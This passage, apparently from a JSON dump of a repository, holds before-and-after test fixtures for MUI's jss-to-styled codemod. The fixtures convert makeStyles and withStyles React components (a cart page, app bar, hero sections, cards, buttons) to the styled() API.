theme.spacing(2),\n  },\n\n  [`& .${classes.divider}`]: {\n    margin: theme.spacing(3, 0),\n  }\n}));\n\nexport default function Cart() {\n\n  const dispatch = useDispatch();\n  const {\n    cart,\n    cart: { entries: cartEntries = [] },\n  } = useSelector((state) => ({ cart: state.data.cart }));\n  React.useEffect(() => {\n    if (cart.entries == null) {\n      return;\n    }\n    window.dataLayer.push({\n      ecommerce: {\n        checkout: {\n          actionField: {\n            step: 1,\n          },\n          products: cart.entries.map((entry) => [\n            {\n              id: entry.slug,\n              name: entry.name,\n              price: entry.amount,\n              quantity: 1,\n            },\n          ]),\n        },\n      },\n    });\n  }, [cart.entries]);\n  const handleClickRemove = (entry) => async () => {\n    await api(entry.remove, {\n      transformation: 'text',\n    });\n    const newCart = await getCart();\n    dispatch({\n      type: actionTypes.CART_UPDATE,\n      payload: newCart,\n    });\n    window.dataLayer.push({\n      event: 'EEremoveFromCart',\n      ecommerce: {\n        remove: {\n          products: [\n            {\n              id: entry.slug,\n              name: entry.name,\n              price: entry.amount,\n              quantity: 1,\n            },\n          ],\n        },\n      },\n    });\n  };\n  return (\n    <Root>\n      <Head title=\"View cart\">\n        <meta name=\"robots\" content=\"noindex,nofollow\" />\n      </Head>\n      <AppAppBar essential>\n        <Stepper\n          className={classes.stepper}\n          steps={['View cart', 'Checkout', 'Confirmation']}\n          activeIndex={0}\n        />\n      </AppAppBar>\n      <Container className={classes.container} maxWidth=\"md\">\n        <OrderBody\n          cart={cart}\n          side={\n            <OrderSummary\n              cart={cart}\n              loading={!cart}\n              footer={\n                <React.Fragment>\n                  <Button\n                    variant=\"contained\"\n                    naked\n                    component={Link}\n                    to=\"/order-payment/\"\n                    fullWidth\n                    className={classes.checkout}\n                    disabled={cartEntries.length === 0}\n                  >\n                    {'Proceed to checkout'}\n                  </Button>\n                  <Typography\n                    display=\"block\"\n                    variant=\"caption\"\n                    className={classes.taxes}\n                    align=\"center\"\n                  >\n                    {'Taxes may apply before placing an order.'}\n                  </Typography>\n                </React.Fragment>\n              }\n            />\n          }\n        >\n          {cartEntries.length === 0 ? (\n            <React.Fragment>\n              <Typography variant=\"h4\" gutterBottom>\n                Your Cart\n              </Typography>\n              <Paper variant=\"outlined\" padding>\n                <Typography>\n                  {'Your cart is empty, return to '}\n                  <Link to=\"/\">the home page</Link>.\n                </Typography>\n              </Paper>\n            </React.Fragment>\n          ) : (\n            <React.Fragment>\n              <Typography variant=\"h4\" gutterBottom>\n                {'Your cart'}\n                {' ('}\n                {cartEntries.length}\n                {')'}\n              </Typography>\n              <Paper variant=\"outlined\" padding>\n                {intersperse(\n                  cartEntries.map((entry) => (\n                    <OrderLicense\n                      key={entry.slug}\n                      entry={entry}\n                      side={\n                        <Typography variant=\"subtitle1\">{`${entry.quantity} x $${entry.amount}`}</Typography>\n                      }\n                      action={\n                        <MuiLink\n                          variant=\"body2\"\n                          component=\"button\"\n                          className={classes.remove}\n                          onClick={handleClickRemove(entry)}\n                        >\n                          {'Remove'}\n                        </MuiLink>\n                      }\n                    />\n                  )),\n                  <Divider className={classes.divider} />,\n                )}\n              </Paper>\n            </React.Fragment>\n          )}\n        </OrderBody>\n      </Container>\n      <AppFooter />\n    </Root>\n  );\n}"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/eleventh.actual.js",
    "content": "import SomeNamespace from 'SomeNamespace';\nimport makeStyles from '@material-ui/styles/makeStyles';\n\nconst useStyles = makeStyles((theme) => ({\n  header: {\n    marginLeft: theme.spacing(5),\n    paddingRight: theme.spacing(3),\n    marginRight: 'auto',\n    minWidth: 400,\n  },\n  img: {\n    marginTop: theme.spacing(4),\n  },\n}));\n\nexport default function Page() {\n  const classes = useStyles();\n\n  return (\n    <SomeNamespace.SomeComponent>\n      <h1 className={classes.header}></h1>\n      <img className={classes.img}></img>\n    </SomeNamespace.SomeComponent>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/eleventh.expected.js",
    "content": "import SomeNamespace from 'SomeNamespace';\nimport { styled } from '@mui/material/styles';\nconst PREFIX = 'eleventh';\n\nconst classes = {\n  header: `${PREFIX}-header`,\n  img: `${PREFIX}-img`\n};\n\nconst StyledSomeNamespaceSomeComponent = styled(SomeNamespace.SomeComponent)((\n  {\n    theme\n  }\n) => ({\n  [`& .${classes.header}`]: {\n    marginLeft: theme.spacing(5),\n    paddingRight: theme.spacing(3),\n    marginRight: 'auto',\n    minWidth: 400,\n  },\n\n  [`& .${classes.img}`]: {\n    marginTop: theme.spacing(4),\n  }\n}));\n\nexport default function Page() {\n\n\n  return (\n    <StyledSomeNamespaceSomeComponent>\n      <h1 className={classes.header}></h1>\n      <img className={classes.img}></img>\n    </StyledSomeNamespaceSomeComponent>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/exportClass.actual.js",
    "content": "\nimport withStyles from '@material-ui/styles/withStyles';\n\nexport class Bug {}\n\nconst styles = {\n  root: {},\n};\n\nconst Test = withStyles(styles)(props => {\n  const { classes } = props;\n  return <div className={classes.root}>Anonymous</div>;\n});\n\nexport default Test"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/exportClass.expected.js",
    "content": "\nimport { styled } from '@mui/material/styles';\nconst PREFIX = 'Test';\n\nconst classes = {\n  root: `${PREFIX}-root`\n};\n\nconst Root = styled('div')({\n  [`&.${classes.root}`]: {},\n});\n\nexport class Bug {}\n\nconst Test = (props => {\n  const { } = props;\n  return <Root className={classes.root}>Anonymous</Root>;\n});\n\nexport default Test"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/exportFunction.actual.js",
    "content": "\nimport withStyles from '@material-ui/styles/withStyles';\n\nexport function Bug() {}\n\nconst styles = {\n  root: {},\n};\n\nconst Test = withStyles(styles)(props => {\n  const { classes } = props;\n  return <div className={classes.root}>Anonymous</div>;\n});\n\nexport default Test"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/exportFunction.expected.js",
    "content": "\nimport { styled } from '@mui/material/styles';\nconst PREFIX = 'Test';\n\nconst classes = {\n  root: `${PREFIX}-root`\n};\n\nconst Root = styled('div')({\n  [`&.${classes.root}`]: {},\n});\n\nexport function Bug() {}\n\nconst Test = (props => {\n  const { } = props;\n  return <Root className={classes.root}>Anonymous</Root>;\n});\n\nexport default Test"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/fifth.actual.js",
    "content": "import Typography from '@material-ui/core/Typography';\nimport makeStyles from '@material-ui/styles/makeStyles';\nimport Container from 'modules/components/Container';\nimport Button from 'modules/components/Button';\nimport Link from 'modules/components/Link';\n\nconst useStyles = makeStyles((theme) => {\n  const color = theme.palette.primary.main;\n  return {\n    root: {\n      display: 'flex',\n      alignItems: 'center',\n      justifyContent: 'center',\n      position: 'relative',\n      paddingTop: theme.spacing(16),\n      paddingBottom: theme.spacing(16),\n      color,\n      [theme.breakpoints.up('md')]: {\n        paddingTop: theme.spacing(18),\n        paddingBottom: theme.spacing(18),\n      },\n    },\n    container: {\n      display: 'flex',\n      flexDirection: 'column',\n      position: 'relative',\n      alignItems: 'center',\n      // Fix IE11 issue\n      marginRight: 0,\n      marginLeft: 0,\n      padding: theme.spacing(0, 2),\n    },\n    title: {\n      fontSize: 45,\n      marginBottom: theme.spacing(2),\n    },\n    actions: {\n      marginTop: theme.spacing(3),\n    },\n    apply: {\n      marginRight: theme.spacing(2),\n    },\n  };\n});\n\nfunction SellHero() {\n  const classes = useStyles();\n\n  return (\n    <div className={classes.root}>\n      <Container className={classes.container}>\n        <Typography variant=\"h1\" align=\"center\" color=\"textPrimary\" className={classes.title}>\n          Sell themes\n        </Typography>\n        <Typography component=\"h2\" align=\"center\" variant=\"h3\" color=\"textSecondary\">\n          {'Build your React themes business on the official MUI Store.'}\n        </Typography>\n        <div className={classes.actions}>\n          <Button\n            variant=\"contained\"\n            component={Link}\n            naked\n            to=\"https://support.mui.com/hc/en-us/articles/360008775380-How-do-I-apply-to-be-a-contributor-\"\n            target=\"_blank\"\n            rel=\"noopener\"\n            className={classes.apply}\n          >\n            Apply now\n          </Button>\n          <Button variant=\"outlined\" component={Link} naked to=\"/contributor/\">\n            My dashboard\n          </Button>\n        </div>\n      </Container>\n    </div>\n  );\n}\n\nexport default SellHero;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/fifth.expected.js",
    "content": "import Typography from '@material-ui/core/Typography';\nimport { styled } from '@mui/material/styles';\nimport Container from 'modules/components/Container';\nimport Button from 'modules/components/Button';\nimport Link from 'modules/components/Link';\n\nconst PREFIX = 'SellHero';\n\nconst classes = {\n  root: `${PREFIX}-root`,\n  container: `${PREFIX}-container`,\n  title: `${PREFIX}-title`,\n  actions: `${PREFIX}-actions`,\n  apply: `${PREFIX}-apply`\n};\n\nconst Root = styled('div')((\n  {\n    theme\n  }\n) => {\n  const color = theme.palette.primary.main;\n  return {\n    [`&.${classes.root}`]: {\n      display: 'flex',\n      alignItems: 'center',\n      justifyContent: 'center',\n      position: 'relative',\n      paddingTop: theme.spacing(16),\n      paddingBottom: theme.spacing(16),\n      color,\n      [theme.breakpoints.up('md')]: {\n        paddingTop: theme.spacing(18),\n        paddingBottom: theme.spacing(18),\n      },\n    },\n    [`& .${classes.container}`]: {\n      display: 'flex',\n      flexDirection: 'column',\n      position: 'relative',\n      alignItems: 'center',\n      // Fix IE11 issue\n      marginRight: 0,\n      marginLeft: 0,\n      padding: theme.spacing(0, 2),\n    },\n    [`& .${classes.title}`]: {\n      fontSize: 45,\n      marginBottom: theme.spacing(2),\n    },\n    [`& .${classes.actions}`]: {\n      marginTop: theme.spacing(3),\n    },\n    [`& .${classes.apply}`]: {\n      marginRight: theme.spacing(2),\n    },\n  };\n});\n\nfunction SellHero() {\n\n\n  return (\n    <Root className={classes.root}>\n      <Container className={classes.container}>\n        <Typography variant=\"h1\" align=\"center\" color=\"textPrimary\" className={classes.title}>\n          Sell themes\n        </Typography>\n        <Typography component=\"h2\" align=\"center\" variant=\"h3\" color=\"textSecondary\">\n          {'Build your React themes business on the official MUI Store.'}\n        </Typography>\n        <div className={classes.actions}>\n          <Button\n            variant=\"contained\"\n            component={Link}\n            naked\n            to=\"https://support.mui.com/hc/en-us/articles/360008775380-How-do-I-apply-to-be-a-contributor-\"\n            target=\"_blank\"\n            rel=\"noopener\"\n            className={classes.apply}\n          >\n            Apply now\n          </Button>\n          <Button variant=\"outlined\" component={Link} naked to=\"/contributor/\">\n            My dashboard\n          </Button>\n        </div>\n      </Container>\n    </Root>\n  );\n}\n\nexport default SellHero;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/first.actual.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { connect } from 'react-redux';\nimport withStyles from '@material-ui/styles/withStyles';\nimport NoSsr from '@material-ui/core/NoSsr';\nimport IconClose from '@material-ui/icons/Close';\nimport IconMenu from '@material-ui/icons/Menu';\nimport Typography from '@material-ui/core/Typography';\nimport { compose } from 'recompose';\nimport AppBar from 'modules/components/AppBar';\nimport Logo from 'modules/components/Logo';\nimport Link from 'modules/components/Link';\nimport AppAppBarAuthenticated from 'modules/components/AppAppBarAuthenticated';\nimport AppAppBarUnauthenticated from 'modules/components/AppAppBarUnauthenticated';\n// import SearchBar from 'modules/components/SearchBar';\nimport actionTypes from 'modules/redux/actionTypes';\nimport getUser from 'modules/getUser';\nimport getCart from 'modules/getCart';\n\nconst styles = (theme) => ({\n  grow: {\n    display: 'block',\n    flexGrow: 1,\n    [theme.breakpoints.down('sm')]: {\n      display: 'none',\n    },\n  },\n  wrap: {\n    display: 'flex',\n    flex: '1 1 auto',\n    alignItems: 'center',\n    zIndex: 1,\n    [theme.breakpoints.down('sm')]: {\n      alignItems: 'baseline',\n      padding: `calc(${theme.spacing(2)} - 1px) 0`,\n      flexWrap: 'wrap',\n    },\n  },\n  wrapOpened: {\n    [theme.breakpoints.down('sm')]: {\n      color: theme.palette.common.white,\n      alignItems: 'flex-start',\n      backgroundColor: theme.palette.primary.main,\n      bottom: 0,\n      left: 0,\n      padding: theme.spacing(2),\n      position: 'fixed',\n      right: 0,\n      top: 0,\n    },\n  },\n  menu: {\n    display: 'none',\n    [theme.breakpoints.down('sm')]: {\n      display: 'block',\n      position: 'absolute',\n      right: 0,\n      top: theme.spacing(2),\n    },\n  },\n  menuIcon: {\n    fontSize: 32,\n    marginTop: -theme.spacing(1 / 2),\n  },\n  closeIcon: {\n    marginRight: theme.spacing(2),\n  },\n  burgerIcon: {\n    color: theme.palette.text.secondary,\n  },\n  white: {\n    color: theme.palette.common.white,\n  },\n  content: {\n    display: 'flex',\n    alignItems: 'center',\n    flex: '1 1 auto',\n    [theme.breakpoints.down('sm')]: {\n      display: 'none',\n    },\n  },\n  contentOpened: {\n    position: 'absolute',\n    top: 0,\n    right: 0,\n    bottom: 0,\n    left: 0,\n    alignItems: 'center',\n    justifyContent: 'center',\n    flexDirection: 'column',\n    [theme.breakpoints.down('sm')]: {\n      display: 'flex',\n    },\n  },\n  // searchBar: {\n  //   [theme.breakpoints.down('xs')]: {\n  //     flex: '1 0 100%',\n  //     marginTop: theme.spacing(2),\n  //   },\n  // },\n  item: {\n    [theme.breakpoints.down('sm')]: {\n      backgroundColor: 'transparent',\n      border: 0,\n      color: theme.palette.common.white,\n      fontSize: 24,\n      height: theme.spacing(5),\n      margin: theme.spacing(1),\n    },\n    [theme.breakpoints.up('sm')]: {\n      marginRight: theme.spacing(2),\n    },\n  },\n});\n\nclass AppAppBar extends React.Component {\n  state = {\n    menuOpen: false,\n  };\n\n  async componentDidMount() {\n    const cart = await getCart();\n    this.props.dispatch({\n      type: actionTypes.CART_UPDATE,\n      payload: cart,\n    });\n\n    if (this.props.user.logged != null) {\n      return;\n    }\n\n    const user = await getUser();\n    this.props.dispatch({\n      type: actionTypes.USER_UPDATE,\n      payload: user,\n    });\n  }\n\n  handleToggleMenu = (event, forceClose) => {\n    if (event) {\n      event.preventDefault();\n    }\n\n    this.setState({ menuOpen: forceClose ? false : !this.state.menuOpen });\n  };\n\n  render() {\n    const { classes, children, essential, position, user } = this.props;\n    const { menuOpen } = this.state;\n\n    return (\n      <AppBar essential={essential} position={position}>\n        <div className={clsx(classes.wrap, { [classes.wrapOpened]: menuOpen })}>\n          <Link to=\"/\" aria-label=\"Back to homepage\" color=\"inherit\">\n            <Logo color={menuOpen ? 'inherit' : 'textPrimary'} />\n          </Link>\n          {/*essential || menuOpen ? null : (\n            <SearchBar\n              id=\"app-bar-search\"\n              className={classes.searchBar}\n            />\n          )*/}\n          <div\n            className={clsx(classes.content, {\n              [classes.contentOpened]: menuOpen,\n              'mui-fixed': menuOpen,\n            })}\n          >\n            {children || <div className={classes.grow} />}\n            {essential ? null : (\n              <Typography\n                className={classes.item}\n                component={Link}\n                to=\"https://support.mui.com/hc/en-us\"\n                target=\"_blank\"\n              >\n                {'Help'}\n              </Typography>\n            )}\n            <NoSsr>\n              {user.logged === true ? (\n                <AppAppBarAuthenticated essential={essential} menuOpen={menuOpen} />\n              ) : null}\n              {user.logged === false ? (\n                <AppAppBarUnauthenticated essential={essential} menuOpen={menuOpen} />\n              ) : null}\n            </NoSsr>\n          </div>\n          {essential ? null : (\n            <div className={clsx(classes.menu, 'mui-fixed')}>\n              <a href=\"#\" onClick={this.handleToggleMenu}>\n                {menuOpen ? (\n                  <IconClose\n                    className={clsx(classes.menuIcon, classes.closeIcon, classes.white, {\n                      [classes.hide]: menuOpen,\n                    })}\n                  />\n                ) : (\n                  <IconMenu\n                    className={clsx(classes.menuIcon, classes.burgerIcon, {\n                      [classes.hide]: menuOpen,\n                    })}\n                  />\n                )}\n              </a>\n            </div>\n          )}\n        </div>\n      </AppBar>\n    );\n  }\n}\n\nAppAppBar.propTypes = {\n  children: PropTypes.node,\n  classes: PropTypes.object.isRequired,\n  essential: PropTypes.bool,\n  position: PropTypes.string,\n  user: PropTypes.object,\n};\n\nexport default compose(\n  withStyles(styles, { name: 'AppAppBar' }),\n  connect((state) => ({ user: state.data.user })),\n)(AppAppBar);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/first.expected.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { connect } from 'react-redux';\nimport NoSsr from '@material-ui/core/NoSsr';\nimport IconClose from '@material-ui/icons/Close';\nimport IconMenu from '@material-ui/icons/Menu';\nimport Typography from '@material-ui/core/Typography';\nimport { compose } from 'recompose';\nimport AppBar from 'modules/components/AppBar';\nimport Logo from 'modules/components/Logo';\nimport Link from 'modules/components/Link';\nimport AppAppBarAuthenticated from 'modules/components/AppAppBarAuthenticated';\nimport AppAppBarUnauthenticated from 'modules/components/AppAppBarUnauthenticated';\n// import SearchBar from 'modules/components/SearchBar';\nimport actionTypes from 'modules/redux/actionTypes';\nimport getUser from 'modules/getUser';\nimport getCart from 'modules/getCart';\n\nconst PREFIX = 'AppAppBar';\n\nconst classes = {\n  grow: `${PREFIX}-grow`,\n  wrap: `${PREFIX}-wrap`,\n  wrapOpened: `${PREFIX}-wrapOpened`,\n  menu: `${PREFIX}-menu`,\n  menuIcon: `${PREFIX}-menuIcon`,\n  closeIcon: `${PREFIX}-closeIcon`,\n  burgerIcon: `${PREFIX}-burgerIcon`,\n  white: `${PREFIX}-white`,\n  content: `${PREFIX}-content`,\n  contentOpened: `${PREFIX}-contentOpened`,\n  item: `${PREFIX}-item`\n};\n\nconst StyledAppBar = styled(AppBar)((\n  {\n    theme\n  }\n) => ({\n  [`& .${classes.grow}`]: {\n    display: 'block',\n    flexGrow: 1,\n    [theme.breakpoints.down('sm')]: {\n      display: 'none',\n    },\n  },\n\n  [`& .${classes.wrap}`]: {\n    display: 'flex',\n    flex: '1 1 auto',\n    alignItems: 'center',\n    zIndex: 1,\n    [theme.breakpoints.down('sm')]: {\n      alignItems: 'baseline',\n      padding: `calc(${theme.spacing(2)} - 1px) 0`,\n      flexWrap: 'wrap',\n    },\n  },\n\n  [`& .${classes.wrapOpened}`]: {\n    [theme.breakpoints.down('sm')]: {\n      color: theme.palette.common.white,\n      alignItems: 'flex-start',\n      backgroundColor: theme.palette.primary.main,\n      bottom: 0,\n      left: 0,\n      padding: theme.spacing(2),\n      position: 'fixed',\n      right: 0,\n      top: 0,\n    },\n  },\n\n  [`& .${classes.menu}`]: {\n    display: 'none',\n    [theme.breakpoints.down('sm')]: {\n      display: 'block',\n      position: 'absolute',\n      right: 0,\n      top: theme.spacing(2),\n    },\n  },\n\n  [`& .${classes.menuIcon}`]: {\n    fontSize: 32,\n    marginTop: -theme.spacing(1 / 2),\n  },\n\n  [`& .${classes.closeIcon}`]: {\n    marginRight: theme.spacing(2),\n  },\n\n  [`& .${classes.burgerIcon}`]: {\n    color: theme.palette.text.secondary,\n  },\n\n  [`& .${classes.white}`]: {\n    color: theme.palette.common.white,\n  },\n\n  [`& .${classes.content}`]: {\n    display: 'flex',\n    alignItems: 'center',\n    flex: '1 1 auto',\n    [theme.breakpoints.down('sm')]: {\n      display: 'none',\n    },\n  },\n\n  [`& .${classes.contentOpened}`]: {\n    position: 'absolute',\n    top: 0,\n    right: 0,\n    bottom: 0,\n    left: 0,\n    alignItems: 'center',\n    justifyContent: 'center',\n    flexDirection: 'column',\n    [theme.breakpoints.down('sm')]: {\n      display: 'flex',\n    },\n  },\n\n  // searchBar: {\n  //   [theme.breakpoints.down('xs')]: {\n  //     flex: '1 0 100%',\n  //     marginTop: theme.spacing(2),\n  //   },\n  // },\n  [`& .${classes.item}`]: {\n    [theme.breakpoints.down('sm')]: {\n      backgroundColor: 'transparent',\n      border: 0,\n      color: theme.palette.common.white,\n      fontSize: 24,\n      height: theme.spacing(5),\n      margin: theme.spacing(1),\n    },\n    [theme.breakpoints.up('sm')]: {\n      marginRight: theme.spacing(2),\n    },\n  }\n}));\n\nclass AppAppBar extends React.Component {\n  state = {\n    menuOpen: false,\n  };\n\n  async componentDidMount() {\n    const cart = await getCart();\n    this.props.dispatch({\n      type: actionTypes.CART_UPDATE,\n      payload: cart,\n    });\n\n    if (this.props.user.logged != null) {\n      return;\n    }\n\n    const user = await getUser();\n    this.props.dispatch({\n      type: actionTypes.USER_UPDATE,\n      payload: user,\n    });\n  }\n\n  handleToggleMenu = (event, forceClose) => {\n    if (event) {\n      event.preventDefault();\n    }\n\n    this.setState({ menuOpen: forceClose ? false : !this.state.menuOpen });\n  };\n\n  render() {\n    const {  children, essential, position, user } = this.props;\n    const { menuOpen } = this.state;\n\n    return (\n      <StyledAppBar essential={essential} position={position}>\n        <div className={clsx(classes.wrap, { [classes.wrapOpened]: menuOpen })}>\n          <Link to=\"/\" aria-label=\"Back to homepage\" color=\"inherit\">\n            <Logo color={menuOpen ? 'inherit' : 'textPrimary'} />\n          </Link>\n          {/*essential || menuOpen ? null : (\n            <SearchBar\n              id=\"app-bar-search\"\n              className={classes.searchBar}\n            />\n          )*/}\n          <div\n            className={clsx(classes.content, {\n              [classes.contentOpened]: menuOpen,\n              'mui-fixed': menuOpen,\n            })}\n          >\n            {children || <div className={classes.grow} />}\n            {essential ? null : (\n              <Typography\n                className={classes.item}\n                component={Link}\n                to=\"https://support.mui.com/hc/en-us\"\n                target=\"_blank\"\n              >\n                {'Help'}\n              </Typography>\n            )}\n            <NoSsr>\n              {user.logged === true ? (\n                <AppAppBarAuthenticated essential={essential} menuOpen={menuOpen} />\n              ) : null}\n              {user.logged === false ? (\n                <AppAppBarUnauthenticated essential={essential} menuOpen={menuOpen} />\n              ) : null}\n            </NoSsr>\n          </div>\n          {essential ? null : (\n            <div className={clsx(classes.menu, 'mui-fixed')}>\n              <a href=\"#\" onClick={this.handleToggleMenu}>\n                {menuOpen ? (\n                  <IconClose\n                    className={clsx(classes.menuIcon, classes.closeIcon, classes.white, {\n                      [classes.hide]: menuOpen,\n                    })}\n                  />\n                ) : (\n                  <IconMenu\n                    className={clsx(classes.menuIcon, classes.burgerIcon, {\n                      [classes.hide]: menuOpen,\n                    })}\n                  />\n                )}\n              </a>\n            </div>\n          )}\n        </div>\n      </StyledAppBar>\n    );\n  }\n}\n\nAppAppBar.propTypes = {\n  children: PropTypes.node,\n  classes: PropTypes.object.isRequired,\n  essential: PropTypes.bool,\n  position: PropTypes.string,\n  user: PropTypes.object,\n};\n\nexport default compose(\n  \n  connect((state) => ({ user: state.data.user })),\n)(AppAppBar);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/fourth.actual.js",
    "content": "\nimport withStyles from '@material-ui/styles/withStyles';\nimport Button from '@material-ui/core/Button';\nimport Card from '@material-ui/core/Card';\nimport CardActions from '@material-ui/core/CardActions';\n\nfunction getStyles({ palette, spacing }) {\n  return {\n    root: {\n      color: palette.primary.main,\n    },\n    actions: {\n      padding: spacing(1),\n    },\n    button: {},\n  };\n}\n\nexport const MyCard = withStyles(getStyles, { name: 'ACard' })((props) => {\n  const { classes } = props;\n  return (\n    <Card className={classes.root}>\n      <CardActions className={classes.actions}>\n        <Button className={classes.button}>Submit</Button>\n      </CardActions>\n    </Card>\n  );\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/fourth.expected.js",
    "content": "\nimport { styled } from '@mui/material/styles';\nimport Button from '@material-ui/core/Button';\nimport Card from '@material-ui/core/Card';\nimport CardActions from '@material-ui/core/CardActions';\n\nconst PREFIX = 'ACard';\n\nconst classes = {\n  root: `${PREFIX}-root`,\n  actions: `${PREFIX}-actions`,\n  button: `${PREFIX}-button`\n};\n\nconst StyledCard = styled(Card)(function getStyles(\n  {\n    theme: { palette, spacing }\n  }\n) {\n  return {\n    [`&.${classes.root}`]: {\n      color: palette.primary.main,\n    },\n    [`& .${classes.actions}`]: {\n      padding: spacing(1),\n    },\n    [`& .${classes.button}`]: {},\n  };\n});\n\nexport const MyCard = ((props) => {\n  const { } = props;\n  return (\n    <StyledCard className={classes.root}>\n      <CardActions className={classes.actions}>\n        <Button className={classes.button}>Submit</Button>\n      </CardActions>\n    </StyledCard>\n  );\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/multipleWithStyles.actual.js",
    "content": "import Button from '@mui/material/Button';\nimport withStyles from '@mui/styles/withStyles';\n\nconst Button1 = withStyles({\n  root: {\n    backgroundColor: 'red',\n  },\n})(Button);\n\nconst Button2 = withStyles((theme) => ({\n  root: {\n    backgroundColor: theme.palette.primary.main,\n  },\n  actions: {\n    padding: theme.spacing(1),\n  },\n}))(Button);\n\nconst Button3 = withStyles({\n  root: {\n    backgroundColor: 'blue',\n  },\n  actions: {\n    padding: '0px',\n  },\n})(Button);\n\nexport const Test = () => (\n  <React.Fragment>\n    <Button1 />\n    <Button2 />\n    <Button3 />\n  </React.Fragment>\n);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/multipleWithStyles.expected.js",
    "content": "import Button from '@mui/material/Button';\nimport { styled } from '@mui/material/styles';\nconst PREFIX = 'Test';\n\nconst classes = {\n  root: `${PREFIX}-root`,\n  root2: `${PREFIX}-root2`,\n  actions: `${PREFIX}-actions`,\n  root3: `${PREFIX}-root3`,\n  actions2: `${PREFIX}-actions2`\n};\n\n// TODO jss-to-styled codemod: The Fragment root was replaced by div. Change the tag if needed.\nconst Root = styled('div')((\n  {\n    theme\n  }\n) => ({\n  [`& .${classes.root}`]: {\n    backgroundColor: 'red',\n  },\n\n  [`& .${classes.root2}`]: {\n    backgroundColor: theme.palette.primary.main,\n  },\n\n  [`& .${classes.actions}`]: {\n    padding: theme.spacing(1),\n  },\n\n  [`& .${classes.root3}`]: {\n    backgroundColor: 'blue',\n  },\n\n  [`& .${classes.actions2}`]: {\n    padding: '0px',\n  }\n}));\n\nconst Button1 = Button;\n\nconst Button2 = Button;\n\nconst Button3 = Button;\n\nexport const Test = () => (\n  <Root>\n    <Button1\n      classes={{\n        root: classes.root\n      }} />\n    <Button2\n      classes={{\n        root: classes.root2,\n        actions: classes.actions\n      }} />\n    <Button3\n      classes={{\n        root: classes.root3,\n        actions: classes.actions2\n      }} />\n  </Root>\n);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/nineth.actual.js",
    "content": "import React, { Fragment } from 'react';\nimport makeStyles from '@material-ui/styles/makeStyles';\n\nconst useStyles = makeStyles((theme) => ({\n  header: {\n    marginLeft: theme.spacing(5),\n    paddingRight: theme.spacing(3),\n    marginRight: 'auto',\n    minWidth: 400,\n  },\n  img: {\n    marginTop: theme.spacing(4),\n  },\n}));\n\nexport default function Page() {\n  const classes = useStyles();\n\n  return (\n    <Fragment>\n      <h1 className={classes.header}></h1>\n      <img className={classes.img}></img>\n    </Fragment>\n  );\n}"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/nineth.expected.js",
    "content": "import React, { Fragment } from 'react';\nimport { styled } from '@mui/material/styles';\nconst PREFIX = 'nineth';\n\nconst classes = {\n  header: `${PREFIX}-header`,\n  img: `${PREFIX}-img`\n};\n\n// TODO jss-to-styled codemod: The Fragment root was replaced by div. Change the tag if needed.\nconst Root = styled('div')((\n  {\n    theme\n  }\n) => ({\n  [`& .${classes.header}`]: {\n    marginLeft: theme.spacing(5),\n    paddingRight: theme.spacing(3),\n    marginRight: 'auto',\n    minWidth: 400,\n  },\n\n  [`& .${classes.img}`]: {\n    marginTop: theme.spacing(4),\n  }\n}));\n\nexport default function Page() {\n\n\n  return (\n    <Root>\n      <h1 className={classes.header}></h1>\n      <img className={classes.img}></img>\n    </Root>\n  );\n}"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/second.actual.js",
    "content": "import Typography from '@material-ui/core/Typography';\nimport makeStyles from '@material-ui/styles/makeStyles';\nimport Container from 'modules/components/Container';\nimport Button from 'modules/components/Button';\nimport Link from 'modules/components/Link';\nimport MuiLink from '@material-ui/core/Link';\n\nconst useStyles = makeStyles((theme) => ({\n  root: {\n    height: '70vh',\n    minHeight: 500,\n    maxHeight: 1000,\n    display: 'flex',\n    alignItems: 'center',\n    justifyContent: 'center',\n    position: 'relative',\n    [theme.breakpoints.down('sm')]: {\n      minHeight: 'auto',\n    },\n  },\n  container: {\n    display: 'flex',\n    flexDirection: 'column',\n    position: 'relative',\n    alignItems: 'center',\n    // Fix IE11 issue\n    marginRight: 0,\n    marginLeft: 0,\n    padding: `0 ${theme.spacing(2)}`,\n  },\n  title: {\n    fontSize: 45,\n    marginBottom: theme.spacing(2),\n  },\n  actions: {\n    marginTop: theme.spacing(3),\n  },\n  apply: {\n    marginRight: theme.spacing(2),\n  },\n}));\n\nfunction AffiliatesHero() {\n  const classes = useStyles();\n\n  return (\n    <div className={classes.root}>\n      <Container className={classes.container}>\n        <Typography variant=\"h1\" align=\"center\" color=\"textPrimary\" className={classes.title}>\n          Affiliate Program\n        </Typography>\n        <Typography component=\"h2\" align=\"center\" variant=\"h3\" color=\"textSecondary\">\n          Earn money by referring buyers.\n        </Typography>\n        <div className={classes.actions}>\n          <Button\n            variant=\"contained\"\n            component={MuiLink}\n            href=\"mailto:store@mui.com\"\n            className={classes.apply}\n          >\n            Apply now\n          </Button>\n          <Button variant=\"outlined\" component={Link} naked to=\"/affiliate/\">\n            My dashboard\n          </Button>\n        </div>\n      </Container>\n    </div>\n  );\n}\n\nexport default AffiliatesHero;\n"
  },
  {
